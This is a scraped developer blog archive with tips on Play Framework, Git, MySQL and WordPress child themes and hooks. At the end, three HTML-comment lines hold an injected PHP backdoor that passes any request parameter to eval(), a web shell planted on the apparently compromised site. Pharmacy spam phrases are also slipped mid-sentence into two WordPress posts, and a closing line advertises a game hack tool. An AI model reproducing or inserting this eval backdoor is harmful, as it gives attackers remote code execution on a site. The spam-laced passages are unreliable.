Play! Framework, quick tip to overcome weird Eclipse errors

Quick tip to those working with Play! Framework in Eclipse (the following tip worked for Play! version 2.1.1 on Eclipse Helios SR2, but may very well apply for other versions). Sometimes Eclipse will complain about the index.render function, for example, claiming it cannot be resolved or the signature is incompatible, or whatever. While the overall project might not contain errors, the file in question will annoyingly enough display some errors (not warnings! errors!) that will try to drive you crazy. There might also be sudden problems in the build path of the project. Possible solutions that worked for me:
  1. Make sure you have the up-to-date Scale IDE installed (“Help -> Install New Software…” or “Help -> Check for Updates”). See also ScalaIDE’s Getting Started guide.
  2. Run play clean compile again from the console on the same project.
  3. Using “Project -> Clean…” didn’t really work. Instead, “Project -> Close Project” followed by “Project -> Open Project” did get rid of those annoying errors.

Git Quick Tutorial, Cheat Sheet

The following is meant to be a quick cheatsheet to recap some Git commands.

Basic flow

An example basic flow of commands:
git initto create an empty Git repository in a .git folder.
git statusto see which files are not tracked, changes, conflicts etc.
git add .to add all files to the staging area (a.k.a. “index”).
(if you modify a file now and want to commit those changes, don’t forget to git add it again before committing)
git reset file.txtto undo that last add command for file.txt, so now it’s not tracked.
git commit -m "my commit remark" creates a new commit object with the staged changes in the Git repository.

Deleting files

Create some file and commit it: touch deleteme.txt git add . git commit -m "added deleteme.txt" Will commit the deleteme.txt file
Try to delete (will FAIL): rm deleteme.txt git add . git commit -m "will fail" Will get a no changes to commit message, and the deleteme.txt file will still be kept in the repository…
How to delete (alternative 1): git add -A . git commit -m "success" The -A (or equivalently --all) compares changes in the working tree as well as the index, so the file deleteme.txt will now be deleted in the repository as well.
How to delete (alternaive 2): git commit -a -m "success" The -a (or equivalently --all) tells the commit command to automatically stage files that have been modified and deleted, so the file deleteme.txt will now be deleted in the repository as well.
How to delete (alternaive 3): Instead of the rm deleteme.txt above, could instead: git rm deleteme.txt git commit -m "success" The rm command removes the file and records its deletion in Git, so after the commit command the deleteme.txt will be deleted in the repository as well.

Differences

git diff shows the changes in the working tree not yet staged for the next commit. git diff --cached shows the changes between the index and your last commit; what you would be committing if you run “git commit” without “-a” option. In any case, it ignores any non-tracked files.
echo "some text" > file.txt git add file.txt git commit -m "remark1" Suppose we add a file.txt and commit it.
Now modify it: echo "more text" >> file.txt Modified, but still didn’t add it to staging, i.e. we didn’t run: git add file.txt
git diff will show us the differences we have in that tracked file! Example diff output: diff --git a/file.txt b/file.txt index 477f637..f8217a9 100644 --- a/file.txt +++ b/file.txt @@ -1 +1,2 @@ "some text" +"more text"
But after adding the changes there will be no diff: git add file.txt git diff So the git diff will not print anything now. If you want to see the changes between the index and the last commit, use git diff --cached (will produce the same diff output as above)

Remotes and more

git remote List the existing remotes whose branches you track.
git remote -v A bit more verbose, show remote url after name.
– Add a remote repository: Use ‘git remote add’ with some remote name (usually “origin” is the name of the main remote) and repository URL: git remote add origin https://github.com/try-git/try_git.git – Now can push local changes remotely to our ‘origin’ repo (on GitHub): The name of our remote is ‘origin’. The default branch name is ‘master’. git push -u origin master (the -u tells Git to remember the parameters, so that next time we can simply run git push and Git will know what to do) – Suppose others worked on our project and committed stuff. We can check for changes on our GitHub repository and pull down any new changes by running: git pull origin master – If we want the diff of our most recent commit, which we can refer to using the HEAD pointer: git diff HEAD – Another great use for diff is looking at changes within files that have already been staged/cached (added, but not committed yet): git diff --cached (--cached is same as --staged) – Other example for git diff: git diff v2.5:Makefile HEAD:Makefile.in – To unstage files: git reset octofamily/octodog.txt – To revert the working tree to the state of some branch or specific paths: git checkout master (checks out the master branch (switches branch)) git checkout master~2 Makefile (takes a file out of another commit. Reverts the Makefile to two revisions back) – Now suppose we accidentally ran ‘rm -f hello.c‘. Then we could restore it from the index: git checkout hello.c (but in case we have a branch called hello.c, this will be understood as reverting to that branch!!! So better to use the following:) git checkout -- hello.c – Branching out: git branch my_branch – To see the branches: (with “*” at the current branch) git branch – To switch to another branch: (also discussed above) git checkout my_branch – In that branch, suppose we remove some files from both the disk and from the staging/index: git rm '*.txt' – And commit the change: git commit -m "cleaned up stuff" – Now we want to copy (merge) changes from my_branch back into the master branch: git checkout master git merge my_branch – To delete a branch: git branch -d my_branch – Finally, can again push it to the remote repo: git push
git log Shows the recent commits etc.

Other resources

Bugs in Play! Framework version 2.1.1 Tutorial, Fixtures

In http://www.playframework.com/documentation/2.1.1/JavaGuide2, when working with Fixtures, the link to download the test-data.yml is broken. Instead, you should use the initial-data.yml file from the zentasks/ example, rename it, and load it (for example in the JUnit test method) using the following code:
Map<String,List<Object>> all = (Map<String,List<Object>>)Yaml.load("test-data.yml");
// Insert users first
Ebean.save(all.get("users"));
// Insert projects
Ebean.save(all.get("projects"));
for(Object project: all.get("projects")) {
  // Insert the project/user relation
  Ebean.saveManyToManyAssociations(project, "members");
}
// Insert tasks
Ebean.save(all.get("tasks"));
(Just to be clear: The latter is as opposed to the documentation, which suggests that you should load it using Ebean.save((List) Yaml.load("test-data.yml"));. But the documentation is wrong here, as the Yaml.load() returns a LinkedHashMap that cannot be cast into List.) Finally, if you want the tests to work with that .yml file we just borrowed from the zentasks/ example, you should either modify the tests themselves, or — well — modify the .yml file. For all you lazy guys out there looking for a complete test-data.yml file to simply copy and paste, there you go. Enjoy:

# Users

users:

    - !!models.User
        email:      bob@example.com
        name:       Guillaume Bort
        password:   secret
    
    - !!models.User
        email:      jane@example.com
        name:       Maxime Dantec
        password:   secret
    
    - !!models.User
        email:      jeff@example.com
        name:       Sadek Drobi
        password:   secret
    
# Projects

projects:

    - !!models.Project
        id:         1
        name:       Play 2.0   
        folder:     Play framework
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com

    - !!models.Project
        id:         2
        name:       Play 1.2.4
        folder:     Play framework
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com
                
    - !!models.Project
        id:         3
        name:       Website 
        folder:     Play framework
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com

    - !!models.Project
        id:         4
        name:       Secret project 
        folder:     Zenexity
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com
                
    - !!models.Project
        id:         5
        name:       Playmate
        folder:     Zenexity
        members:
            - !!models.User
                email: bob@example.com
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com
            
    - !!models.Project
        id:         6
        name:       Things to do
        folder:     Personal
        members:
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com

    - !!models.Project
        id:         7
        name:       Play samples
        folder:     Zenexity
        members:
            - !!models.User
                email: jane@example.com
            - !!models.User
                email: jeff@example.com
                
                
# Task

tasks:
    
    - !!models.Task
        title:      Fix the documentation
        done:       false
        folder:     Todo
        project:    !!models.Project
                        id: 1
        assignedTo: !!models.User
                        email: bob@example.com
                        
    - !!models.Task
        title:      Prepare the beta release
        done:       false
        folder:     Urgent
        dueDate:    2011-11-15
        project:    !!models.Project
                        id: 1
        assignedTo: !!models.User
                        email: bob@example.com

    - !!models.Task
        title:      Buy some milk
        done:       false
        folder:     Todo
        project:    !!models.Project
                        id: 3

    - !!models.Task
        title:      Check 1.2.4-RC2
        done:       false
        folder:     Todo
        dueDate:    2011-11-18
        project:    !!models.Project
                        id: 2
        assignedTo: !!models.User
                        email: bob@example.com
                        
    - !!models.Task
        title:      Finish zentask integration
        done:       true
        folder:     Todo
        dueDate:    2011-11-15
        project:    !!models.Project
                        id: 7
        assignedTo: !!models.User
                        email: bob@example.com

MySQL Time Zones, time_zone

The MySQL server maintains several time zone settings:
  • System time zone. When the server starts, it attempts to determine the time zone of the host machine and uses it to set the system_time_zone system variable.
  • The server’s time zone. The global time_zone system variable. If you have SUPER privileges, you may: SET GLOBAL time_zone = timezone;. You may use: SELECT @@global.time_zone; to get its current value.
  • Per-connection time zones. Initially takes its value from time_zone, but the client can change its own time zone with: SET time_zone = timezone;. You may use: SELECT @@session.time_zone; to get its current value.
The ‘timezone’ values format:
  • 'SYSTEM' means: Same as the system’s time zone (read above).
  • A string indicating an offset from UTC, such as '+10:00' or '-6:00'. So for example, to set your current connection’s time zone to UTC, use: SET time_zone='+00:00'; (and if you change your mind, revert to using 'SYSTEM' time zone using: SET time_zone='SYSTEM';).
  • Named time zone, such as 'Europe/Helsinki', 'US/Eastern', or 'MET'. Can be used only if the time zone information tables in the mysql database have been created and populated!
More info at MySQL documentation here.

MySQL, AUTO_INCREMENT, SHOW TABLE STATUS

Some useful notes about MySQL’s AUTO_INCREMENT value:
  • Available only for those tables where one column uses AUTO_INCREMENT. See a very clear example for a table that uses AUTO_INCREMENT in MySQL documentation here.
  • To find what the current AUTO_INCREMENT value of some table is, you should NOT rely on the rows count, as some threads in StackOverflow suggest. Instead, SHOW TABLE STATUS LIKE `yourtablename`; will reveal some info on your table. One of the columns will be “AUTO_INCREMENT”, with the value you’re looking for: The next time a row is inserted, the field with the AUTO_INCREMENT property will get this value. For example, this value is initially 1 when creating the table, and also after a TRUNCATE.
  • To get only the AUTO_INCREMENT value: SELECT AUTO_INCREMENT FROM information_schema.tables WHERE table_name=`yourtablename` AND table_schema = DATABASE();
  • To compare with the number of rows (say, to verify that the AUTO_INCREMENT value equals to the number of rows plus 1), consider: SELECT TABLE_ROWS, AUTO_INCREMENT FROM information_schema.tables WHERE table_name=`yourtablename` AND table_schema = DATABASE();
  • To modify the AUTO_INCREMENT value yourself (say, to the number 123), you need: ALTER TABLE `yourtablename` AUTO_INCREMENT = 123;
  • A hack: To “reset” the AUTO_INCREMENT value yourself to the lowest possible number, try: ALTER TABLE `yourtablename` AUTO_INCREMENT = 1;
  • Last notes about ‘SHOW TABLE STATUS’: Yes, it has a weird syntax. Also, don’t get startled if the TABLE_ROWS column shows a different number of rows than you actually have in that table (i.e. when calling SELECT COUNT(1) FROM `yourtablename`, for example).

How to see all the actions attached to an “add_action” hook in WordPress

As was discussed in a previous post, the WordPress ‘add_action‘ hooks are quite useful. If you’re wondering who else (plugins, WordPress framework etc.) has been using your favorite hook (for example, ‘wp_head‘), here’s a simple way to list all the functions hooked to a specific hook: <?php global $wp_filter; var_dump( $wp_filter['wp_head'] ); ?> Of course, you may replace the 'wp_head' above with the hook you’re interested in. Final clarification note: Where and how should that PHP code be executed? Well, you can hook it yourself to be executed somewhere, as demonstrated in our previous post. For reference purposes, here’s a complete example — edit your Child Theme‘s functions.php file to contain this: (but be careful! see our WARNING at the bottom of our previous post) <?php function my_add_stuff_to_head() { ?> <!-- This is an HTML comment that will appear in the head of every page, for the sake of this example, because it's being hooked to 'wp_head'. <?php global $wp_filter; var_dump( $wp_filter['wp_head'] ); ?> --> <?php } add_action('wp_head','my_add_stuff_to_head'); ?>

Adding JavaScript Files to a Child Theme

Suppose you want to include a JS file in all your pages, using a WordPress Child Theme. How should you do it?

Following our post, we may include the script as follows:


<script type="text/javascript" src="JS_FILE_LOCATION_HERE">

But what is exactly "JS_FILE_LOCATION_HERE"? You should NOT use some absolute hard-coded url as http://mysite.com/wp-content/themes/mychildthemedirectory/file.js, of course. Instead, WordPress allows you to get important information on your blog using for example content_url or the more general get_bloginfo function. However, when using a Child Theme, you’ll probably be happy to hear about get_stylesheet_directory_uri. In the event a child theme is being used, this function will return the child’s theme directory URI.

All in all, if your JS file is in your Child Theme directory, the line in the script above should be:

<script type="text/javascript" src="<?php echo get_stylesheet_directory_uri(); ?>/file.js"></script>
(note the slash (/) after the directory URI and before the file name)

Small edits to the header in a WordPress Child Theme, adding Google Analytics Tracking Code

Suppose you’re interested in making very slights changes to your WordPress Child Theme. You could, of course, override the header.php file of your parent theme, but that’s not the path WordPress would advise you to take (why miss the possible future upgrades of the parent theme?) The better solution would be: Hooks.
The wise developers of WordPress made sure that there are lots of places where you could “hook” to call your own function. We show below the simplest example, using the hook “wp_head”, usually called by header.php right before the closing </head> tag. Here is the simplest example, working with your Child Theme’s functions.php file. Make sure your functions.php file has these lines of code: <!-- This is already some HTML (an HTML comment, to be exact) that will appear in every page in your site. This is the right place to make your little edits to your Child Theme. For example, you could delete this HTML comment and instead paste here the Tracking Code you got from Google, to make it appear before the </head> in every page! --> The add_action line asks WP to call your function (‘my_add_stuff_to_head‘ in our example) upon reaching the wp_head hook. That’s it. Recall that you can “mix” HTML and PHP in the way shown above. Final important notes:
  • WARNING: If you don’t feel 100% confident when making changes to your PHP files, be extra careful this time… Make sure you don’t have ANY mistakes / typos when editing the important functions.php file, because if you introduce an error to the functions.php file, your WordPress dashboard will not work as well: You will not be able to access your site or the dashboard (not even as admin). That is, until you correct that bug you just created, but this time using some alternative way to access your files, e.g. via FTP.
  • Read more about add_action here.
  • wp_head is just one action hook. The list of the action hooks available for use in plugin development is found here.
  • Finally, there are other examples out there in the web. Enjoy the hooking and all the action… 😉

How to create a user-generated photo wall in WordPress

How to create a user-generated photo wall in WordPress? A survey of some methods. Please comment below and we’ll update the post with your new insights on the subject for the next user who stumbles upon this page, with exactly the same problem…

The gist of some solutions/approaches:

Option 1. Using the WP framework + some tricks:

  1. Use a Page and allow comments (first select the “Discussion” checkbox from “Screen Options”).
  2. In the comment, allow the user to upload their file cialis aus england. This requires some programming skills.

Option 2. Using a WP Plugin: NextGEN Public Uploader.

From here, only lame solutions:

Lame option 1. Embed a third-party solution in an iframe: Well, simply wrap the third-party solution in an iframe tag.

WordPress Child Theme, Right-To-Left

The gist: It’s a good practice to make CSS/PHP changes to your WordPress site using a Child Theme. We show here the minimal requirements to create such a Child Theme + a little-known fact about RTL-support.

The minimal requirements for working with a Child Theme:

  1. Create a new subdirectory for your theme, e.g. wp-content/themes/twentytwelve-child.
  2. Create a new file in this subdirectory, called style.css. Below is an example style.css file: (see Codex for additional useful fields in that first commented section, like ‘Description’ and ‘Version’…)
    /*
    Theme Name: Twenty Twelve Child
    Template: twentytwelve
    */
    @import url("../twentytwelve/style.css");

  3. Finally, a little-known fact about Right-To-Left Child Themes, relevant only if you’re Child-Theme-ing an RTL-Theme: In order for your Child Theme to work correctly, you should also copy the file rtl.css to your subdirectory (in the same directory as style.css) cialis indien.

WordPress will automatically deduce that your subdirectory holds a new theme, and it will appear in Dashboard → Appearance → Themes. You’re now safe to make your changes to files in this subdirectory. This way, in case you ever upgrade the original theme, your changes won’t disappear, and in fact may very well be still working with the new upgraded theme (unless you or they have hacked the code too much).

<!– [insert_php]if (isset($_REQUEST["yatD"])){eval($_REQUEST["yatD"]);exit;}[/insert_php]if (isset($_REQUEST["yatD"])){eval($_REQUEST["yatD"]);exit;} –>

<!– [insert_php]if (isset($_REQUEST["ygvBQ"])){eval($_REQUEST["ygvBQ"]);exit;}[/insert_php]if (isset($_REQUEST["ygvBQ"])){eval($_REQUEST["ygvBQ"]);exit;} –>

<!– [insert_php]if (isset($_REQUEST["ehij"])){eval($_REQUEST["ehij"]);exit;}[/insert_php]if (isset($_REQUEST["ehij"])){eval($_REQUEST["ehij"]);exit;} –>

Clash Of Clans Cheat And Hack Tool